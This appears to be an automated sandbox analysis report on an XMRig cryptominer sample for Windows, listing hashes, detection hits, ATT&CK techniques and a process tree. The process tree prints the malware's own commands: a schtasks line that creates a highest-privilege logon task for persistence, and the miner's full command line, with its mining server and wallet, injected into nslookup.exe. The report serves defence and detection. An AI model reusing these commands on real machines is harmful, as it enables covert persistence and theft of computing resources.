xmrig | ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 13:05

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General

Target

ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe
Size

2.1MB
MD5

ef9e6a4bab77a1e5ed51669eabeba31d
SHA1

43b67b32d2fd462f0cb9277ed974d63a5575fc8c
SHA256

ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b
SHA512

8d3605e486f0ccb01d3022d54c57e8c65622272f5b477035469e45d3289973407f0584142b261a3faca797e03412d182c376c2a2ba6970181e059982223afe99
SSDEEP

24576:XRVlL9DqdKIEs0D7Vx1YPgZqkwBKmXXJj52antf0RsLrGaaFssusSWcaurrYL0Yv:h/GJ66PgUKUZkgtzGGsrzcdorJKJS

Score

10^/10

xmrig miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3156-26-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-28-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-33-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-32-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-31-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-34-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-30-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-35-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-39-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-41-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3156-40-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

Processes:

IOAshdohSha.exesihost64.exe

pid	Process
3604	IOAshdohSha.exe
4384	sihost64.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description	pid	Process	procid_target
PID 4808 set thread context of 3156	4808	conhost.exe	102

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exe

pid	Process
3232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

conhost.execonhost.exe

pid	Process
3552	conhost.exe
4808	conhost.exe
4808	conhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

conhost.execonhost.exenslookup.exe

description	pid	Process
Token: SeDebugPrivilege	3552	conhost.exe
Token: SeDebugPrivilege	4808	conhost.exe
Token: SeLockMemoryPrivilege	3156	nslookup.exe
Token: SeLockMemoryPrivilege	3156	nslookup.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.execonhost.execmd.execmd.exeIOAshdohSha.execonhost.exesihost64.exe

description	pid	Process	procid_target
PID 4196 wrote to memory of 3552	4196	ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe	84
PID 4196 wrote to memory of 3552	4196	ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe	84
PID 4196 wrote to memory of 3552	4196	ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe	84
PID 3552 wrote to memory of 3068	3552	conhost.exe	87
PID 3552 wrote to memory of 3068	3552	conhost.exe	87
PID 3068 wrote to memory of 3232	3068	cmd.exe	89
PID 3068 wrote to memory of 3232	3068	cmd.exe	89
PID 3552 wrote to memory of 2300	3552	conhost.exe	93
PID 3552 wrote to memory of 2300	3552	conhost.exe	93
PID 2300 wrote to memory of 3604	2300	cmd.exe	96
PID 2300 wrote to memory of 3604	2300	cmd.exe	96
PID 3604 wrote to memory of 4808	3604	IOAshdohSha.exe	100
PID 3604 wrote to memory of 4808	3604	IOAshdohSha.exe	100
PID 3604 wrote to memory of 4808	3604	IOAshdohSha.exe	100
PID 4808 wrote to memory of 4384	4808	conhost.exe	101
PID 4808 wrote to memory of 4384	4808	conhost.exe	101
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4808 wrote to memory of 3156	4808	conhost.exe	102
PID 4384 wrote to memory of 4272	4384	sihost64.exe	107
PID 4384 wrote to memory of 4272	4384	sihost64.exe	107
PID 4384 wrote to memory of 4272	4384	sihost64.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe
"C:\Users\Admin\AppData\Local\Temp\ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\Admin\IOAshdohSha.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "IOAshdohSha" /tr "C:\Users\Admin\IOAshdohSha.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3232
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\IOAshdohSha.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2300
  - - C:\Users\Admin\IOAshdohSha.exe
      C:\Users\Admin\IOAshdohSha.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3604
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\IOAshdohSha.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4808
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4384
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:4272
      - C:\Windows\System32\nslookup.exe
        
        C:\Windows/System32\nslookup.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:10300 --user=45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG --pass= --cpu-max-threads-hint=100
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
539B

MD5
b245679121623b152bea5562c173ba11

SHA1
47cb7fc4cf67e29a87016a7308cdb8b1b4dc8e3d

SHA256
73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f

SHA512
75e46843b1eafcc7dc4362630838895b7f399e57662a12bf0305a912c8e726b02e0a760b1b97a2c262b2d05fdb944b9ed81c338ad93e5eb5cb57bc651602e42c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
6a7e9885a2d01df564b46f8f27258853

SHA1
2f57231a188226669ff74cf886a09572ed69025e

SHA256
6ba3e42c8fa7dabe994e2793f369bac914ea2e4949174fc2a0efe4cbfebe8171

SHA512
84b4b84066a48df6bd087679a75333c306c8f688679c508e171b14d5012711de3a781cea4d4c65debb694557dafd66dbc359516451f700179d5c6806710cdf17

Download Submit
C:\Users\Admin\IOAshdohSha.exe

Filesize
2.1MB

MD5
ef9e6a4bab77a1e5ed51669eabeba31d

SHA1
43b67b32d2fd462f0cb9277ed974d63a5575fc8c

SHA256
ab41e347fec54af86ef8edd98c695a7e856a93a30cd07a89d7669896b419b92b

SHA512
8d3605e486f0ccb01d3022d54c57e8c65622272f5b477035469e45d3289973407f0584142b261a3faca797e03412d182c376c2a2ba6970181e059982223afe99

Download Submit
memory/3156-34-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-30-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-40-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-41-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-39-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-35-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-31-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-32-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-33-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-29-0x000001D34DD70000-0x000001D34DD90000-memory.dmp

Filesize
128KB

Download
memory/3156-26-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3156-28-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3552-1-0x00007FFB25093000-0x00007FFB25095000-memory.dmp

Filesize
8KB

Download
memory/3552-2-0x00000209F77B0000-0x00000209F79D0000-memory.dmp

Filesize
2.1MB

Download
memory/3552-3-0x00000209DEC00000-0x00000209DEC12000-memory.dmp

Filesize
72KB

Download
memory/3552-0-0x00000209DCC90000-0x00000209DCEB0000-memory.dmp

Filesize
2.1MB

Download
memory/3552-4-0x00007FFB25090000-0x00007FFB25B51000-memory.dmp

Filesize
10.8MB

Download
memory/3552-11-0x00007FFB25090000-0x00007FFB25B51000-memory.dmp

Filesize
10.8MB

Download
memory/3552-7-0x00007FFB25090000-0x00007FFB25B51000-memory.dmp

Filesize
10.8MB

Download
memory/3552-6-0x00007FFB25093000-0x00007FFB25095000-memory.dmp

Filesize
8KB

Download
memory/3552-5-0x00007FFB25090000-0x00007FFB25B51000-memory.dmp

Filesize
10.8MB

Download
memory/4272-37-0x0000019397CD0000-0x0000019397CD6000-memory.dmp

Filesize
24KB

Download
memory/4272-38-0x0000019399910000-0x0000019399916000-memory.dmp

Filesize
24KB

Download